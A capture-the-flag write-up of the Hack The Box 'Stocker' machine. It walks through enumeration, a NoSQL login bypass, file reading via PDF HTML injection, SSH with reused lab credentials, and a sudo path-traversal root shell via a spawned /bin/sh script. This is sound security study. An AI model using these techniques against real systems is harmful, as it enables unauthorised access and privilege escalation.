HTB - Stocker
Overview
Stocker is a medium difficulty Linux machine that features a website running on port 80 that advertises various house furniture.
Initial foothold:
Through vHost enumeration the hostname dev.stocker.htb
is identified and upon accessing it a login page is loaded that seems to be built with NodeJS
. By sending JSON data and performing a NoSQL
injection, the login page is bypassed and access to an e-shop is granted. Enumeration of this e-shop reveals that upon submitting a purchase order, a PDF is crafted that contains details about the items purchased. This functionality is vulnerable to HTML injection and can be abused to read system files through the usage of iframes. The index.js
file is then read to acquire database credentials and owed to password re-use users can log into the system over SSH
.
Privilege escalation:
Privileges can then be escalated by performing a path traversal attack on a command defined in the sudoers file, which contains a wildcard for executing JavaScript
files.
Initial Foothold
IppSec’s video walkthrough.
Information Gathering
1
2
3
4
5
6
7
8
9
# port scanning
$ sudo nmap -sS -A -Pn --min-rate 10000 -p- 10.10.11.196
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
1
2
3
# add domain to local DNS
$ grep stocker /etc/hosts
10.10.11.196 stocker.htb
Fuzzing (1)
It’s a static website (
/index.html
) which indicates that won’t have any interesting sub-directories, but may have vhosts/sub-domains.
1
2
3
# sub-directory fuzzing
$ ffuf -u http://stocker.htb/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -recursion -recursion-depth 1 -e .aspx,.html,.php,.txt,.jsp -c -ac -ic -v
# nothing interesting
1
2
3
# sub-domain fuzzing
$ ffuf -u http://FUZZ.stocker.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac -c -ic
# nothing
1
2
3
4
# vhost fuzzing
$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -u http://stocker.htb -H "HOST: FUZZ.stocker.htb" -ac -c -ic
dev [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 72ms]
1
2
3
# add vhost to local DNS
$ grep stocker /etc/hosts
10.10.11.196 stocker.htb dev.stocker.htb
Fuzzing (2)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# sub-directory fuzzing
$ ffuf -u http://dev.stocker.htb/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -e .aspx,.html,.php,.txt,.jsp -c -ac -ic -v
[Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 117ms]
| URL | http://dev.stocker.htb/
| --> | /login
* FUZZ:
[Status: 200, Size: 2667, Words: 492, Lines: 76, Duration: 74ms]
| URL | http://dev.stocker.htb/login
* FUZZ: login
[Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 50ms]
| URL | http://dev.stocker.htb/static
| --> | /static/
* FUZZ: static
[Status: 200, Size: 2667, Words: 492, Lines: 76, Duration: 37ms]
| URL | http://dev.stocker.htb/Login
* FUZZ: Login
[Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 80ms]
| URL | http://dev.stocker.htb/logout
| --> | /login
* FUZZ: logout
[Status: 302, Size: 48, Words: 4, Lines: 1, Duration: 50ms]
| URL | http://dev.stocker.htb/stock
| --> | /login?error=auth-required
* FUZZ: stock
[Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 75ms]
| URL | http://dev.stocker.htb/Logout
| --> | /login
* FUZZ: Logout
[Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 66ms]
| URL | http://dev.stocker.htb/Static
| --> | /Static/
* FUZZ: Static
[Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 34ms]
| URL | http://dev.stocker.htb/
| --> | /login
* FUZZ:
Intercepting a failed /login
attempt:
Cookie: connect.sid
indicates Node.js.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ curl -IL http://dev.stocker.htb
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 09 Feb 2024 20:47:26 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 2667
Connection: keep-alive
X-Powered-By: Express # confirms Node.js
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Tue, 06 Dec 2022 09:53:59 GMT
ETag: W/"a6b-184e6db4279"
Set-Cookie: connect.sid=s%3A7De-SJd6Go3r1cgA0BD09V6L89EmsJJW.TLRIKijtdnUMJOOfRhIDSFQdo%2FfepNFD2u%2BzwJSDwks; Path=/; HttpOnly
Node.js commonly uses MongoDB (MEAN stack).
Common MongoDB payloads (NoSQLi):
1
username[$ne]=test&password[$ne]=test <!-- does not work -->
Node.js always accepts JSON data, thus, we can pass the parameters to JSON format:
Add an item to cart and intercept Submit Purchase
request:
1
2
// TODO: Configure loading from dotenv for production
const dbURI = "mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?authSource=admin&w=1";
The only user was
angoose
, there was nodev
user within/etc/passwd
.
1
2
3
4
$ ssh angoose@10.10.11.196
...snip...
angoose@stocker:~$ cat user.txt
...snip...
Privilege Escalation
1
2
3
4
5
6
7
8
9
10
# check for sudo access
angoose@stocker:~$ sudo -l
[sudo] password for angoose:
Sorry, try again.
[sudo] password for angoose:
Matching Defaults entries for angoose on stocker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User angoose may run the following commands on stocker:
(ALL) /usr/bin/node /usr/local/scripts/*.js
GTFOBins: Node > Sudo + Directory Traversal Attack
1
2
3
4
5
6
7
8
angoose@stocker:~$ cd /tmp
angoose@stocker:/tmp$ nano root.js
angoose@stocker:/tmp$ cat root.js
require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]})
angoose@stocker:/tmp$ sudo /usr/bin/node /usr/local/scripts/../../../tmp/root.js
[sudo] password for angoose:
# cat /root/root.txt
...snip...
In
Sudo 1.9.10+
regex can be used in the sudoers file, which can replace*
and avoid directory traversal attacks!
Extra
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# dump the mongodb
angoose@stocker:/tmp$ mongodump -u dev
Enter password for mongo user:
2024-02-09T22:06:24.534+0000 writing dev.orders to dump/dev/orders.bson
2024-02-09T22:06:24.534+0000 writing dev.products to dump/dev/products.bson
2024-02-09T22:06:24.535+0000 writing dev.users to dump/dev/users.bson
2024-02-09T22:06:24.546+0000 done dumping dev.users (1 document)
2024-02-09T22:06:24.546+0000 done dumping dev.orders (13 documents)
2024-02-09T22:06:24.546+0000 done dumping dev.products (4 documents)
2024-02-09T22:06:24.546+0000 writing dev.basketitems to dump/dev/basketitems.bson
2024-02-09T22:06:24.552+0000 done dumping dev.basketitems (0 documents)
2024-02-09T22:06:24.558+0000 writing dev.sessions to dump/dev/sessions.bson
2024-02-09T22:06:26.823+0000 done dumping dev.sessions (525922 documents)
angoose@stocker:/tmp$ ls -l dump/dev/
total 79132
-rw-rw-r-- 1 angoose angoose 0 Feb 9 22:06 basketitems.bson
-rw-rw-r-- 1 angoose angoose 178 Feb 9 22:06 basketitems.metadata.json
-rw-rw-r-- 1 angoose angoose 2141 Feb 9 22:06 orders.bson
-rw-rw-r-- 1 angoose angoose 173 Feb 9 22:06 orders.metadata.json
-rw-rw-r-- 1 angoose angoose 538 Feb 9 22:06 products.bson
-rw-rw-r-- 1 angoose angoose 175 Feb 9 22:06 products.metadata.json
-rw-rw-r-- 1 angoose angoose 80992076 Feb 9 22:06 sessions.bson
-rw-rw-r-- 1 angoose angoose 314 Feb 9 22:06 sessions.metadata.json
-rw-rw-r-- 1 angoose angoose 100 Feb 9 22:06 users.bson
-rw-rw-r-- 1 angoose angoose 172 Feb 9 22:06 users.metadata.json
# view '.bson' files
angoose@stocker:/tmp/dump/dev$ bsondump users.bson
{"_id":{"$oid":"638f116eeb060210cbd83a8a"},"username":"angoose","password":"b3e795719e2a644f69838a593dd159ac","__v":{"$numberInt":"0"}}
2024-02-09T22:08:17.364+0000 1 objects found
Or copy it locally and use jq
:
1
2
3
4
5
6
7
8
9
10
11
$ echo -n '{"_id":{"$oid":"638f116eeb060210cbd83a8a"},"username":"angoose","password":"b3e795719e2a644f69838a593dd159ac","__v":{"$numberInt":"0"}}' | jq .
{
"_id": {
"$oid": "638f116eeb060210cbd83a8a"
},
"username": "angoose",
"password": "b3e795719e2a644f69838a593dd159ac",
"__v": {
"$numberInt": "0"
}
}